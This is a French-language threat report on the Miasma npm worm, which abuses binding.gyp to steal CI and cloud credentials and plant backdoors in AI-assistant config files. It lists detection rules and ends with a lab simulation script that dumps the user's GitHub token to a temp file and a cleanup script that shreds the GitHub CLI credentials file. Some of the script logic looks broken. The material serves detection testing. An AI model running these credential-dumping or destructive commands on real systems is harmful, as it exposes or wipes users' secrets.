L’attaque de la chaîne d’approvisionnement Miasma se propage via le ver Phantom Gyp
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Une nouvelle variante du ver Miasma se répand à travers l’écosystème npm en abusant d’un fichier binding.gyp malveillant qui déclenche l’exécution de code lors de npm install. Cette méthode échappe à de nombreux contrôles traditionnels basés sur des scripts, télécharge un runtime Bun alternatif, vole des identifiants CI/CD et cloud, et envoie les données collectées à un compte dead-drop GitHub. Plus de 57 paquets ont été compromis lors d’une campagne rapide qui s’est déroulée en moins de deux heures le 3 juin 2026. Le ver plante également des portes dérobées dans les fichiers de configuration des assistants de codage IA.
Enquête
Les chercheurs ont recréé l’intrusion à l’intérieur d’un runner GitHub Actions renforcé et ont capturé l’arborescence complète des processus, le trafic réseau, et les artefacts de code impliqués dans l’attaque. Leur analyse a révélé la technique Phantom Gyp, une chaîne de charges utiles obfusquées en quatre étapes, et l’utilisation de Bun pour éviter les détections centrées uniquement sur le comportement de Node.js. Le vol d’identifiants a été effectué en lisant la mémoire du runner et en interrogeant les points de terminaison des métadonnées des instances cloud. L’exfiltration a ensuite eu lieu via des requêtes API GitHub authentifiées vers un compte malveillant qui créait dynamiquement des dépôts pour stocker les données volées.
Atténuation
Les défenseurs devraient réduire l’exposition en bloquant les étapes de construction natives, désactivant node-gyp là où c’est possible, ou en ignorant les scripts d’installation dans les environnements à haut risque. Les fenêtres d’attente du registre et la vérification des signatures de provenance SLSA peuvent également aider à limiter le sabotage des paquets. Les équipes de sécurité devraient surveiller les téléchargements inattendus de Bun, les fichiers index.js de taille excessive, et la création de nouveaux dépôts GitHub par des jetons émis par CI. Tout jeton ou identifiant cloud exposé doit être immédiatement renouvelé.
Réponse
Les organisations devraient détecter binding.gyp les fichiers contenant des motifs tels que <!(node index.js ...), alerter sur les téléchargements de runtime Bun, et arrêter le workflow affecté dès que l’activité malveillante est confirmée. Les dépôts doivent être scannés pour les fichiers de configuration d’assistant IA injectés et nettoyés rapidement. Tous les jetons volés doivent être révoqués et renouvelés, les champs de permissions CI/CD révisés, et une enquête complète de réponse à l’incident lancée pour déterminer l’étendue de l’exposition des identifiants.
Flux d’attaque
Nous mettons encore à jour cette partie. Inscrivez-vous pour être notifié
Notifiez-moiDétections
Téléchargement / Téléversement de fichiers à distance via des outils standard (via cmdline)
Voir
Script Linux créé dans des dossiers temporaires (via file_event)
Voir
Fichier caché créé sur un hôte Linux (via file_event)
Voir
IOCs (HashSha256) pour détecter : Attaque de la chaîne d’approvisionnement npm Miasma : Ver auto-propagateur via Phantom Gyp
Voir
IOCs (HashMd5) pour détecter : Attaque de la chaîne d’approvisionnement npm Miasma : Ver auto-propagateur via Phantom Gyp
Voir
Détection de l’attaque de la chaîne d’approvisionnement npm Miasma [Indicateurs réseau]
Voir
Détection de l’attaque de la chaîne d’approvisionnement npm Miasma via la technique Phantom Gyp [Création de processus Linux]
Voir
Exécution de simulation
Prérequis : La vérification de télémétrie et de référence doit avoir été réussie.
Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer exactement la télémétrie attendue par la logique de détection.
-
Récit d’attaque & Commandes :
Un attaquant compromet un paquet npm open-source, ajoutant unbinding.gypmalveillant. Lorsqu’un développeur exécutenpm install, le processus de construction du package invoquenode-gyp rebuild. À l’intérieur du script de construction généré, l’attaquant :- Télécharge le runtime Bun (binaire signé) via
curlvers un répertoire temporaire (/tmp/b-<rand>/). - Élève les privilèges en invoquant
sudo python3pour décompresser le zip et placer le binaire dans/usr/local/bin. - Récupère le jeton GitHub du développeur en utilisant
gh auth token. - Exécute une charge utile (
bun run /tmp/p1764ajw42rg.js) qui exfiltre les données.
Chaque étape apparaît textuellement dans les journaux de création de processus, satisfaisant le
listede la règle Sigma. - Télécharge le runtime Bun (binaire signé) via
-
Script de test de régression : Le script Bash suivant reproduit exactement la chaîne de commandes dans un environnement de laboratoire contrôlé.
# miasma_phantom_gyp_simulation.sh set -euo pipefail # 1. Préparez un faux paquet npm avec un binding.gyp malveillant PKG_DIR=$(mktemp -d /tmp/miasma_pkg.XXXX) cd "$PKG_DIR" npm init -y >/dev/null 2>&1 cat > binding.gyp <<'EOF' { "targets": [ { "target_name": "evil", "sources": [ "evil.c" ] } ] } EOF echo "int main(){return 0;}" > evil.c # Installez node‑gyp localement npm install node-gyp >/dev/null 2>&1 # 2. Exécutez node‑gyp rebuild (premier indicateur) ./node_modules/.bin/node-gyp rebuild # 3. Téléchargez le runtime Bun (deuxième indicateur) TMPDIR=$(mktemp -d /tmp/b-XXXXXX) curl -sSL "https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-linux-x64-baseline.zip" -o "$TMPDIR/bun.zip" # 4. Élévation avec sudo python3 pour décompresser (troisième indicateur) sudo python3 - <<PYTHON import zipfile, sys, os zip_path = os.getenv('TMPDIR') + '/bun.zip' with zipfile.ZipFile(zip_path, 'r') as z: z.extractall(os.getenv('TMPDIR')) PYTHON # 5. Acquérir le jeton GitHub (quatrième indicateur) # Note : Cela nécessite que l'outil CLI de GitHub soit installé et authentifié au préalable. gh auth token > "$TMPDIR/gh_token.txt" # 6. Exécutez une charge utile malveillante via Bun (cinquième indicateur) # Créez une charge utile JS factice echo "console.log('exfiltrated');" > "$TMPDIR/p1764ajw42rg.js" "$TMPDIR/bun" run "$TMPDIR/p1764ajw42rg.js" echo "Simulation complète. Vérifiez votre SIEM pour les alertes générées." -
Commandes de nettoyage : Supprimez les artefacts temporaires et renversez les artefacts d’élévation de privilèges.
# cleanup_miasma_simulation.sh set -euo pipefail # Supprimez les répertoires temporaires rm -rf "$PKG_DIR" "$TMPDIR" # Supprimez éventuellement le binaire Bun installé de /usr/local/bin s'il y a été placé if command -v bun >/dev/null; then sudo rm -f "$(command -v bun)" fi # Effacez tout jeton GitHub capturé shred -u "$HOME/.config/gh/hosts.yml" 2>/dev/null || true echo "Nettoyage terminé."